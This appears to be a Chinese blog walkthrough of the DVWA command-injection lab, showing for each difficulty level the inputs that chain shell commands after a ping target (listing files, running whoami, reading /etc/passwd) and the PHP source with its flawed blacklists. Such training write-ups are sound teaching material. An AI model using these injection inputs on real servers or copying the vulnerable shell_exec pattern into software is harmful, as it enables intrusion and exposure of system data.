【DVWA全攻略】Command Injection实验

DVWA-LABS.png

命令行的使用

引入命令行方式进行操作,主要有以下四种情况

  • A && B: 先执行A,如果成功,执行B;
  • A || B :先执行A,如果失败,执行B;
  • A | B:管道,先执行A后,将A的结果作为B的输入,打印的是B的结果;
  • A & B:先执行A,然后不管成功与否,执行B

正常输入

输入下方IP地址完成PING请求

127.0.0.1
image.png

Low难度

利用漏洞查看目录文件

127.0.0.1 && ls
image.png

利用漏洞查看使用的用户名

127.0.0.1 && whoami
image.png

利用漏洞查看网卡

滥用下面的命令可以查看网卡信息

ping 127.0.0.1 || ifconfig
image.png

利用漏洞查看用户

滥用下面的命令可以查看详细的用户信息

ping 127.0.0.1 || cat /etc/passwd
image.png

利用漏洞查看页面位置

滥用下面的命令可以查看该页面所在服务器的详细目录位置

ping 127.0.0.1 || pwd
image.png

思路

命令的方式可以像下面这样

ping 127.0.0.1 || [你能想到的Linux shell命令]

代码分析

<?php
 if( isset( $_POST[ 'Submit' ]  ) ) {
     // Get input
     $target = $_REQUEST[ 'ip' ];
 ​
     // Determine OS and execute the ping command.
     if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
         // Windows
         $cmd = shell_exec( 'ping  ' . $target );
     }
 ​
     else {
     // *nix
         $cmd = shell_exec( 'ping  -c 4 ' . $target );
     }
     // Feedback for the end user
     $html .= "<pre>{$cmd}</pre>";
 }
 ?>

通过上面的代码可以看出未对输入的IP进行过滤,通过php_uname判断完操作系统之后,就直接传入了$cmd变量中,因此存在很大的安全漏洞隐患。

Medium难度

利用漏洞查看目录文件

127.0.0.1 | ls
image.png

利用漏洞查看网卡

滥用下面的命令可以查看网卡信息

ping 127.0.0.1 || ifconfig
image.png

利用漏洞查看用户

滥用下面的命令可以查看详细的用户信息

ping 127.0.0.1 || cat /etc/passwd
image.png

利用漏洞查看页面位置

滥用下面的命令可以查看该页面所在服务器的详细目录位置

ping 127.0.0.1 || pwd
image.png

思路

命令的方式可以像下面这样

ping 127.0.0.1 || [你能想到的Linux shell命令]

或者|也可以

ping 127.0.0.1 | [你能想到的Linux shell命令]

代码分析

<?php
 ​
 if( isset( $_POST[ 'Submit' ]  ) ) {
     // Get input
     $target = $_REQUEST[ 'ip' ];
 ​
     // Set blacklist
     $substitutions = array(
         '&&' => '',
         ';'  => '',
     );
 ​
     // Remove any of the charactars in the array (blacklist).
     $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
 ​
     // Determine OS and execute the ping command.
     if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
         // Windows
         $cmd = shell_exec( 'ping  ' . $target );
 ​
     }
 ​
     else {
         // *nix
         $cmd = shell_exec( 'ping  -c 4 ' . $target );
 ​
     }
 ​
     // Feedback for the end user
     $html .= "<pre>{$cmd}</pre>";
 }
 ​
 ?>

可以看到上面代码中对&&;进行了过滤,Low实验中前两种在这里就不行了。但是|仍未做过滤,因此可以继续使用|||

High难度

利用漏洞查看目录文件

这里|ls之间无空格

127.0.0.1 |ls
image.png

利用漏洞查看网卡

滥用下面的命令可以查看网卡信息 |ifconfig之间无空格

ping 127.0.0.1 |ifconfig
image.png

利用漏洞查看用户

滥用下面的命令可以查看详细的用户信息

ping 127.0.0.1 |cat /etc/passwd
image.png

利用漏洞查看页面位置

滥用下面的命令可以查看该页面所在服务器的详细目录位置

ping 127.0.0.1 |pwd
image.png

思路

命令的方式可以像下面这样 |与命令直接无空格

ping 127.0.0.1 |[你能想到的Linux shell命令]

代码分析

<?php
 if( isset( $_POST[ 'Submit' ]  ) ) {
     // Get input
     $target = trim($_REQUEST[ 'ip' ]);
     // Set blacklist
     $substitutions = array(
         '&'  => '',
         ';'  => '',
         '| ' => '',
         '-'  => '',
         '$'  => '',
         '('  => '',
         ')'  => '',
         '`'  => '',
         '||' => '',
     );
 ​
     // Remove any of the charactars in the array (blacklist).
     $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
 ​
     // Determine OS and execute the ping command.
     if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
         // Windows
         $cmd = shell_exec( 'ping  ' . $target );
     }
     else {
         // *nix
         $cmd = shell_exec( 'ping  -c 4 ' . $target );
     }
 ​
     // Feedback for the end user
     $html .= "<pre>{$cmd}</pre>";
 ​
 }
 ?>

可以看到这里过滤了&;、 -$()||等字符

但是这里由于疏忽,还是有空子可以钻

'| ' => '',

这里过滤的是|和空格,没对|进行过滤,因此可以滥用这个的漏洞,把|和命令写在一起就能执行了

Impossible难度

<?php
 if( isset( $_POST[ 'Submit' ]  ) ) {
     // Check Anti-CSRF token
     checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 ​
     // Get input
     $target = $_REQUEST[ 'ip' ];
     $target = stripslashes( $target );
 ​
     // Split the IP into 4 octects
     $octet = explode( ".", $target );
     // Check IF each octet is an integer
 ​
     if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
 ​
         // If all 4 octets are int's put the IP back together.
         $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
 ​
         // Determine OS and execute the ping command.
         if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
             // Windows
             $cmd = shell_exec( 'ping  ' . $target );
         }
         else {
             // *nix
             $cmd = shell_exec( 'ping  -c 4 ' . $target );
         }
 ​
         // Feedback for the end user
         $html .= "<pre>{$cmd}</pre>";
     }
 ​
     else {
         // Ops. Let the user name theres a mistake
         $html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
     }
 }
 ​
 // Generate Anti-CSRF token
 generateSessionToken();
 ?>

上面的代码中加入了Anti-CSRF token,并对提交的参数进行严格的过滤,使用is_numeric检测变量是否为数字字符串或数字,使得非数字字符串或数字的全部被过滤,这样使得安全等级有所提升。

常见问题

shell_exec()函数默认被禁用

现在服务器配置完环境一般都会默认禁用shell_exec() 函数

因此如果禁用了该函数,在实验时会提示

Warning: shell_exec() has been disabled for security reasons in /www/wwwroot/192.168.47.129/dvwa/vulnerabilities/exec/source/low.php on line 14
image.png

需要解除相关函数的禁用

image.png
© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容